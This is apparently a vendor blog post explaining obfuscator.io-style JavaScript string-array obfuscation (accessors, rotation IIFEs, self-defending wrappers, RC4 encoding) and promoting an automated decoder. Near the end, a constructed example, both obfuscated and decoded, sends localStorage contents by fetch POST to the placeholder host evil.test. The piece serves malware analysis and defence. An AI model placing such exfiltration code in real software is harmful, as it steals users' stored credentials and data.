Techniques17-Apr-26|14 min read

JavaScript String-Array Deobfuscation: Accessors, Rotation, and RC4 Chain Patterns

Automated decoding of obfuscator.io-style string arrays, rotation IIFEs, and RC4-encrypted accessors

String-array obfuscation is the dominant technique in modern JavaScript obfuscation. The pattern is simple: extract every string literal from a program into a single array, replace each original reference with a function call that retrieves the string by index, then add layers of rearrangement, arithmetic, and optional encryption on top. The result is code where recognisable words and URLs have been moved out of their original positions and into a numeric index scheme. The technique has legitimate uses. Game developers (Unity, Cocos2d), anti-cheat systems, DRM implementations, and commercial JavaScript products use string-array obfuscation to protect intellectual property and raise the cost of reverse engineering. These uses are the majority of obfuscator.io's 180,000 weekly npm downloads. Malware also uses it. Google's CASCADE research (2025) identified obfuscator.io as the most widely-deployed JavaScript obfuscator observed in malicious samples. Palo Alto Unit 42 documented its use in the DarkCloud stealer campaign (2025), wrapping credential-theft logic in string arrays with RC4 encryption. Beyond individual named campaigns, commodity stealers and loader families rotate through obfuscator.io configurations as standard operating procedure. For defenders, the question is not whether the tool is used maliciously. The question is how to read the output quickly when it is.

Decode obfuscator.io output automatically. Paste your obfuscated JavaScript at klaroskope.com/submit - KlaroSkope resolves string arrays, accessor functions, rotation IIFEs, and RC4-encrypted variants in seconds.

  • What String-Array Obfuscation Looks Like - with obfuscator.io example
  • The Five Tiers - array extraction, accessor functions, offset arithmetic, rotation, encryption
  • Accessor Function Internals - how the retrieval function is structured
  • Rotation IIFEs - how push/shift shuffling works and why it validates with a checksum
  • Self-Defending Wrappers - anti-tampering patterns and what they do
  • RC4 + Base64 Encoding - the deepest layer in modern samples
  • Alias Chains and Function-Wrapped Arrays - variants that defeat first-generation decoders
  • Tool Signatures in the Wild - obfuscator.io fingerprints and clustering
  • The Decode Chain - every intermediate layer shown
  • Threat Landscape - CASCADE research, DarkCloud, commodity stealer usage
  • Decode It Automatically - before/after example with KlaroSkope

What String-Array Obfuscation Looks Like

A JavaScript file using string-array obfuscation looks nothing like its original form. The opening lines are typically an array literal containing dozens or hundreds of strings, followed by an accessor function that retrieves them by index. Every function call, variable assignment, and string reference in the original code has been rewritten to use the accessor. The original string content is present in the file, but scattered across an array where position and identity have been separated.

Here is a minimal obfuscator.io-style sample, constructed to illustrate the pattern obfuscator.io produces:

javascript
var _0x4a2b=['log','Hello','World','console'];
var _0x1c = function(_0xidx, _0xkey){
  _0xidx = _0xidx - 0x17f;
  var _0x3d = _0x4a2b[_0xidx];
  return _0x3d;
};
window[_0x1c('0x182')][_0x1c('0x17f')](_0x1c('0x180') + ' ' + _0x1c('0x181'));

The original program was console.log('Hello' + ' ' + 'World');. After obfuscation: the four strings moved to an array, the accessor function (_0x1c) subtracts an offset and returns the string at the resulting index, global identifiers like console are wrapped through window[...], and the original call became a chain of accessor invocations with hex-encoded index arguments. The logic is identical. The readability collapsed.

The Five Tiers

obfuscator.io builds its output through five distinct transformation tiers. Each tier is optional, and each adds a layer that must be understood independently to read the output. The tiers are roughly sequential in complexity, and seeing how many are active is a useful first step in triaging a sample.

Key Examples
1
TransformationString array extraction
DefeatsGrep for literal strings
2
TransformationAccessor function with offset
DefeatsDirect array indexing
3
TransformationRotation IIFE (push/shift)
DefeatsStatic array parsing
4
TransformationSelf-defending wrapper
DefeatsSource-code tampering
5
TransformationRC4 + Base64 encoding
DefeatsString-level inspection of array contents

Most malicious samples use tiers 1-3. Tier 4 (self-defending) is common. Tier 5 (RC4 encoding) appears in the more sophisticated samples and in many obfuscator.io production-tool users (game DRM, anti-cheat). The number of active tiers is a useful signal for clustering samples by builder configuration.

Tier 2: Accessor Function Internals

Every string reference in the obfuscated code routes through a single function: the accessor. It takes an index argument, subtracts a per-sample offset, and returns the string at the resulting array position. Reading the accessor tells you how the indirection works. It does not yet tell you what the indices map to. For that you need the array, and if layer stacking is in play, the array you can see may not be the array the accessor reads.

javascript
// Accessor with offset 0x1e7 (487 in decimal)
var _0x3c2a = function(_0x4a2b, _0x1c){
  _0x4a2b = _0x4a2b - 0x1e7;
  var _0x3d = _0x4872[_0x4a2b];
  return _0x3d;
};

// Call:  _0x3c2a('0x1e8') -> array index 0x1e8 - 0x1e7 = 0x1 -> array[1]

The offset value is a random integer chosen at obfuscation time. Samples built with the same obfuscator.io configuration but different random seeds will have different offsets. Within a single sample the offset is constant, and recovering it is a matter of reading the accessor definition. Attackers sometimes rename the accessor variable or use unicode characters to resist casual inspection, but the structural pattern (subtract offset, index array, return) is invariant.

Tier 3: Rotation IIFEs

Rotation runs at load time, before any accessor call fires. An immediately-invoked function expression (IIFE) near the top of the file runs push/shift operations in a loop, shuffling the array until a checksum condition is satisfied. The consequence: the array declared in the source file is not the array the accessor will index against at runtime. Reading the source without executing the IIFE gives the wrong string for every index, silently, with no error.

javascript
// Rotation IIFE (obfuscator.io pattern)
(function(_0x4a2b, _0x1c){
  var _0x3d = function(_0x4e){
    while(--_0x4e){ _0x4a2b['push'](_0x4a2b['shift']()); }
  };
  _0x3d(++_0x1c);
}(_0x4872, 0x1f4));

The integer 0x1f4 (500) is the rotation count for this sample. A different seed produces a different count. The IIFE argument and the loop body together specify the exact shuffle that must be applied before any accessor call produces the original string. Missing this step is the single most common failure mode in hand-written obfuscator.io decoders: the analyst resolves the accessor but uses the unrotated array, and every string comes out wrong by a consistent offset that feels like corruption rather than a shuffle.

Rotation IIFEs sometimes include a checksum branch that throws or silently corrupts the array if the constant is altered. This is intentional anti-tampering, and it means modifying the rotation count to skip the shuffle will break the sample rather than simplify it.

Tier 4: Self-Defending Wrappers

Self-defending is a trip-wire. The wrapper converts the accessor (or the whole script) to a string via toString(), checks for expected patterns, and throws or returns garbage if the source has been modified. Typical implementations scan for whitespace changes, missing semicolons, or inserted logging calls. The check targets analysts who edit the obfuscated file to add instrumentation or bypass conditional branches.

The self-defending wrapper does not change what the decoded payload is. It only detects certain categories of modification. For static analysis (reading the file rather than executing it), self-defending is largely irrelevant - you are not modifying anything. For dynamic analysis in an instrumented sandbox, self-defending is an obstacle that requires either patching the check or substituting the function source before the test runs.

Tier 5: RC4 + Base64 Encoding

The highest tier doesn't just hide strings. It encrypts them. Each string in the array is replaced with a Base64-encoded, RC4-encrypted blob, and the accessor is extended to decrypt on demand. The RC4 key is stored as a string literal elsewhere in the accessor, typically as a second argument threaded through the function signature. The Base64 wrapper is there to keep the encrypted bytes valid as JavaScript string literals.

javascript
// Tier 5: accessor with RC4+Base64 decryption
var _0x3c2a = function(_0x4a2b, _0x1c){
  _0x4a2b = _0x4a2b - 0x1e7;
  var _0x3d = _0x4872[_0x4a2b];
  if(_0x3c2a['rc4Init'] === undefined){
    var _0x4e = function(_0x5f, _0x60){ /* RC4 implementation */ };
    _0x3c2a['rc4'] = _0x4e;
    _0x3c2a['rc4Init'] = true;
  }
  _0x3d = _0x3c2a['rc4'](_0x3d, _0x1c);
  return _0x3d;
};

// Array contains Base64(RC4(original_string, key))
var _0x4872=['pZXQ=', '8kdA0g==', /* ... */];

The accessor lazily initialises the RC4 state on first call, then returns the decrypted string on every subsequent call. The RC4 key is passed as the second argument to every accessor invocation - in the call sites, what looks like an opaque hex string is actually meaningful input to the decryption.

This is the layer that defeats purely structural parsing. Even with the array, accessor, and rotation all understood, the strings themselves stay encrypted until RC4 runs with the correct key. Extracting the key from the function signature is mechanical. Recognising that it has to be extracted at all is the insight that separates complete decoders from partial ones.

Alias Chains and Function-Wrapped Arrays

Later versions of obfuscator.io and related tools add variants designed to defeat first-generation decoders. Alias chains assign the accessor function to multiple variable names, sometimes through intermediate function calls. Each call site references a different alias, and a decoder that only looks for the original accessor name finds nothing. This is the same pattern that makes esoteric JS subsets like JSFuck hard to handle: the tool you recognise is not always the tool that runs.

javascript
// Alias chain: multiple variables point to the same accessor
var _0x3c2a = function(_0x4a2b, _0x1c){ _0x4a2b = _0x4a2b - 0x1e7; return _0x4872[_0x4a2b]; };
var _0xa = _0x3c2a;
var _0xb = function(){ return _0xa.apply(this, arguments); };
var _0xc = _0xb;
// Call sites use _0x3c2a, _0xa, _0xb, or _0xc interchangeably
_0xb('0x1e8');  // resolves through chain to _0x3c2a('0x1e8')

Function-wrapped arrays hide the array itself inside a function that returns it on first call and caches the result. The array is no longer visible as a top-level variable assignment; it materialises only when the wrapper function is invoked. This defeats decoders that grep for var _0x4872 = [ or similar patterns.

javascript
// Function-wrapped array (obfuscator.io v2+)
var _getArray = function(){
  var _0x4872 = ['pZXQ=', '8kdA0g==', /* ... */];
  _getArray = function(){ return _0x4872; };
  return _getArray();
};
// First call populates and rewrites the function; subsequent calls return the cached array

Both variants are structural evasions, not semantic changes. The underlying technique is unchanged: there is still a string array, still an accessor, still optional rotation, still optional encryption. What changes is how much static pattern-matching a decoder has to do to find each piece.

Tool Signatures in the Wild

obfuscator.io leaves distinctive fingerprints in its output. Variable names follow the pattern _0x[a-f0-9]{4,6} by default. The rotation IIFE has a recognisable push(shift()) loop structure. The accessor function argument order (index first, key second) is consistent across versions. These fingerprints are what let security researchers attribute samples to the builder even when the obfuscated code varies across campaigns.

Key Examples
_0x[a-f0-9]{4,6} variable names
Signalobfuscator.io default
NotesCan be changed via config; absence does not rule out the tool
push(shift()) loop in IIFE
SignalRotation tier active
NotesNearly unique to obfuscator.io and close derivatives
Accessor with -= offset pattern
SignalTier 2+ active
NotesOffset value is per-sample but structure is invariant
Base64 strings in array literal
SignalTier 5 (RC4) active
NotesCombined with lazy rc4Init pattern in accessor
Function-wrapped array returning self
Signalv2+ evasion variant
NotesAccessor operates on the wrapped function's return value

Multiple malware families share the same obfuscator.io configuration. DarkCloud and several commodity stealers use identical tier combinations with only the random seed changing between campaigns. Clustering samples by fingerprint signature - which tiers are active, what the rotation count range is, what the offset pattern looks like - produces useful groupings independent of the final payload. This is the same decoder-chain-as-fingerprint approach that works across malware families and obfuscation stacks generally.

What to Look For, Tier by Tier

If you are triaging a suspected obfuscator.io sample manually, the signals below help identify which tiers are active and what the build complexity is. More active tiers correlate with a more production-configured sample; not automatically more malicious, but more deliberately hardened.

Key Examples
1 (array)
What to look forTop-level var _0xNNNN = [...] with 20+ string elements
What the presence tells youBasic string extraction is on; sample count gives target string count
2 (accessor)
What to look forFunction with arg = arg - 0xNNN followed by array indexing
What the presence tells youPer-build offset constant; same value across every call in the sample
3 (rotation)
What to look forIIFE with _0x[NAME]['push'](_0x[NAME]['shift']()) loop
What the presence tells youRotation tier active; the declared array order is not what the accessor reads
4 (self-defending)
What to look forFunction['prototype']['toString'] or toString()['search'] patterns near top of file
What the presence tells youTamper-resistance is on; modifications to the source will trigger it
5 (RC4)
What to look forBase64-looking strings in the array + lazy rc4Init / rc4 properties on the accessor
What the presence tells youStrings are double-wrapped (Base64 over RC4); structural parsing alone is insufficient

The Decode Chain

A fully-obfuscated sample requires resolving every tier in order. Skipping a tier or applying them out of order produces output that looks plausible but is wrong in specific, predictable ways. Here is the chain for a tier-5 sample, with intermediate output at every step:

text
Layer 0 (Original input):
var _0x4872=['pZXQ=','8kdA0g==',...];
(function(_0x4a2b,_0x1c){...push(shift())...}(_0x4872,0x1f4));
var _0x3c2a=function(_0x4a2b,_0x1c){_0x4a2b=_0x4a2b-0x1e7;...};
_0x3c2a('0x1e8','key')['call'](...);

Layer 1 (Rotation applied):
_0x4872 = ['8kdA0g==', 'pZXQ=', ...] // array shuffled in-place

Layer 2 (Accessor resolution):
_0x4872[0x1] -> '8kdA0g=='
(offset 0x1e7 subtracted from 0x1e8 = 0x1)

Layer 3 (Base64 decode):
'8kdA0g==' -> bytes: f2 47 40 d2

Layer 4 (RC4 decrypt with key):
f2 47 40 d2 -> 'log'

Final decoded call: console.log('Hello World');

Each layer depends on the previous one. Applying RC4 to the non-Base64-decoded array contents produces encrypted garbage. Reading the array at index 0x1 without subtracting the offset gets you the wrong entry. Executing the accessor without running the rotation IIFE first points at the original (unshuffled) array positions. The decode chain only produces clean output when every step runs in order.

Stop resolving tiers by hand. Paste obfuscator.io output at klaroskope.com/submit. The decoder handles all five tiers in a single pass, including function-wrapped arrays and alias chains. Array resolution, rotation, offset tracking, alias walking, and RC4 decryption all run automatically, with the decoded output landing in seconds.

Threat Landscape

obfuscator.io is the most widely-deployed JavaScript obfuscator in both legitimate and malicious use. Google's CASCADE research (2025) identified it as the single most common obfuscator observed in large-scale crawls of malicious JavaScript. This tracks with the broader obfuscation trend data: JavaScript has become the dominant delivery surface for obfuscated payloads, and obfuscator.io is the default tool producing them. The scale of legitimate use (180,000 weekly npm downloads, adoption by Unity and game-dev ecosystems) is what makes detection purely on tool-usage grounds impossible: the tool's presence is not a reliable signal on its own.

Malicious campaigns using obfuscator.io output are well-documented. Palo Alto Unit 42 published detailed analysis of the DarkCloud stealer (2025) showing obfuscator.io-style string arrays with RC4 encryption wrapping credential-theft and data-exfiltration logic. Beyond named campaigns, commodity stealers and loader families rotate through obfuscator.io configurations as standard operating procedure, changing only the random seed between builds.

MITRE ATT&CK mapping: T1027.010 (Command Obfuscation) covers the script-level obfuscation; T1059.007 (Command and Scripting Interpreter: JavaScript) covers the execution environment. For post-decode payloads that reach browser or Node.js runtimes, additional techniques apply depending on the payload type (T1555 for credential theft, T1041 for exfiltration over C2).

If you find obfuscator.io-style output in a web application you did not intentionally deploy it to, treat the file as suspect until the payload is decoded and reviewed. The tool has legitimate uses, but it is also a common delivery vehicle for injected credential stealers and traffic-redirection payloads. Decode first, then decide whether it is authorised code.

Decode It Automatically

Here is a tier-3 obfuscator.io sample (array extraction + accessor + rotation), constructed to illustrate a credential-theft exfiltration pattern. The sample uses default variable naming and a 500-iteration rotation.

javascript
// INPUT: Obfuscator.io output (tier 3)
var _0x3a7f=['JSON','stringify','localStorage','body','fetch','https://evil.test/steal','credentials'];
(function(_0x4a2b,_0x1c){var _0x3d=function(_0x4e){while(--_0x4e){_0x4a2b['push'](_0x4a2b['shift']());}};_0x3d(++_0x1c);}(_0x3a7f,0x1f4));
var _0x1c=function(_0x4a2b,_0x1c){_0x4a2b=_0x4a2b-0x1e7;var _0x3d=_0x3a7f[_0x4a2b];return _0x3d;};
window[_0x1c('0x1e7')](_0x1c('0x1e8'),{method:'POST',body:_0x1c('0x1ea')[_0x1c('0x1eb')](window[_0x1c('0x1ec')])});
javascript
// OUTPUT: Decoded by KlaroSkope
window.fetch('https://evil.test/steal', {
  method: 'POST',
  body: JSON.stringify(window.localStorage)
});

The decoder walked the rotation, resolved the accessor's offset, mapped every _0x1c('0xN') call to its string, and produced the original code. The C2 URL (https://evil.test/steal), the HTTP method, and the data being exfiltrated (localStorage contents) are all now visible as plain strings. IOC extraction pulls the URL and domain automatically; YARA and Sigma rules can be generated from the decoded output. Paste your obfuscated JavaScript at klaroskope.com/submit and see the decoded result in seconds.

Try it now --> klaroskope.com/submit - paste any obfuscator.io output, string-array-obfuscated JavaScript, or RC4-wrapped accessor sample, and see the decoded result in seconds.

Frequently Asked Questions

Q

What is JavaScript string-array obfuscation?

String-array obfuscation extracts every string literal from a JavaScript program into a single array, replaces each original reference with an accessor function that retrieves strings by index, and optionally adds rotation, offset arithmetic, and encryption on top. The original strings are all present in the file but scattered across an array where position and identity have been separated. obfuscator.io is the most widely-deployed tool implementing this technique.
Q

How do I decode obfuscator.io output?

Paste the obfuscated JavaScript into KlaroSkope at klaroskope.com/submit. The decoder identifies the string array, walks any rotation IIFE, resolves the accessor function's offset, follows alias chains and function-wrapped arrays, and applies RC4+Base64 decryption when present. No manual decoding steps are required. Multi-tier samples decode in the same pass as single-tier ones.
Q

What is the accessor function in obfuscator.io output?

The accessor function is the retrieval function that every string reference in the obfuscated code routes through. It takes an index argument, subtracts an offset, and returns the string at that index in the array. Typical implementations look like var _0x1c = function(_0x4a2b, _0x1c){ _0x4a2b = _0x4a2b - 0x1e7; return _0x4872[_0x4a2b]; };. The offset value is chosen at obfuscation time and stays constant within a sample.
Q

What is the rotation IIFE in obfuscator.io?

The rotation IIFE is a self-executing function near the top of the file that shuffles the string array using a loop of push/shift operations. Format: (function(arr, count){ while(--count){ arr.push(arr.shift()); } }(string_array, rotation_count)). The rotation count is a constant chosen at build time. Reading the source without running the rotation gives the wrong string for every accessor call.
Q

What does a self-defending wrapper do in obfuscated JavaScript?

A self-defending wrapper converts the accessor or the entire script to a string using toString(), tests for specific patterns, and throws or returns garbage if the source has been modified. It is anti-tampering aimed at analysts who modify obfuscated files to insert logging or bypass branches. For static analysis (reading without executing), self-defending is largely irrelevant. For instrumented sandbox execution, it is an obstacle that requires patching the check.
Q

What is RC4 encoding in obfuscator.io?

RC4 encoding is the highest tier of obfuscator.io output. Each string in the array is replaced with a Base64-encoded, RC4-encrypted blob. The accessor function is extended with a lazy RC4 implementation that decrypts on demand. The RC4 key is passed as a second argument to every accessor invocation. This layer makes structural parsing insufficient: the array, accessor, and rotation can all be understood, but the strings themselves remain encrypted until the RC4 decryption runs with the correct key.
Q

Is obfuscator.io used by malware?

Yes, alongside extensive legitimate use. Google's CASCADE research identified obfuscator.io as the most widely-deployed JavaScript obfuscator in malicious samples. Palo Alto Unit 42 documented the DarkCloud stealer campaign (2025) using obfuscator.io output with RC4-encrypted string arrays. The tool has 180,000 weekly npm downloads and is used legitimately for Unity game development, DRM, anti-cheat, and commercial JavaScript product protection. Tool presence alone is not a reliable malware signal.
Q

What are _0x[a-f0-9]{4,6} variable names in JavaScript?

_0x[a-f0-9]{4,6} is obfuscator.io's default variable naming scheme: an underscore, the prefix 0x, and 4-6 hex digits. The pattern appears in nearly all obfuscator.io output unless the identifier-names-generator setting is changed. It is one of the most reliable fingerprints for tool identification, though the setting can be overridden to use dictionary words or mangled names instead.
Q

What is an alias chain in obfuscated JavaScript?

An alias chain assigns the accessor function to multiple variable names, sometimes through intermediate function calls. Example: var _0xa = _0x3c2a; var _0xb = function(){ return _0xa.apply(this, arguments); };. Each call site in the obfuscated code references a different alias. This defeats first-generation decoders that grep for the original accessor name and miss call sites routed through an alias. Modern decoders follow the chain to find the actual accessor.
Q

What MITRE ATT&CK techniques cover JavaScript string-array obfuscation?

T1027.010 (Command Obfuscation) covers the script-level obfuscation technique. T1059.007 (Command and Scripting Interpreter: JavaScript) covers the execution environment. T1140 (Deobfuscate/Decode Files or Information) is the defensive counterpart describing the static analysis process. For post-decode payloads, additional techniques apply depending on the final behaviour (T1555 for credential theft, T1041 for exfiltration, T1189 for drive-by compromise in injection campaigns).

Found this useful? Sharing is caring!

Ready to decode?

See KlaroSkope transform obfuscated scripts into actionable intelligence.

Try It Free